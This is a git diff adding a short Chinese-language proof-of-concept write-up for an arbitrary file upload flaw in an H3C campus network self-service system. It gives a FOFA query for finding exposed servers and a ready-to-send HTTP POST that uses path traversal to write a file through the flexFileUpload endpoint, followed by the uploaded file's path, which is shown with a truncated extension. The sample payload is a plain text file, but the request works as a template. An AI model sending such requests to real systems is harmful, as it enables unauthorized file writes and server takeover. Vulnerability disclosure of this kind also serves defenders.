diff --git a/H3C-校园网自助服务系统flexfileupload任意文件上传漏洞.md b/H3C-校园网自助服务系统flexfileupload任意文件上传漏洞.md
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+## H3C-校园网自助服务系统flexfileupload任意文件上传漏洞
+
+## FOFA
+```
+header="/selfservice"
+```
+![67ea2585dc0afbeca07f36ba1a2d759b](https://github.com/wy876/POC/assets/139549762/458a6319-8307-47a8-a3e9-8aed98b5fd9e)
+
+## poc
+```
+POST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
+Host: 
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
+Connection: close
+Content-Type: multipart/form-data; boundary=---------------WebKitFormBoundaryMmx988TUuintqO4Q
+Accept-Encoding: gzip
+Content-Length: 243
+
+-----------------WebKitFormBoundaryMmx988TUuintqO4Q
+Content-Disposition: form-data; name="123.txt"; filename="123.txt"
+Content-Type: application/octet-stream
+Content-Length: 255
+
+1111
+-----------------WebKitFormBoundaryMmx988TUuintqO4Q--
+```
+
+文件路径：`/imc/primepush/%2e%2e/flex/topobg/123.tx`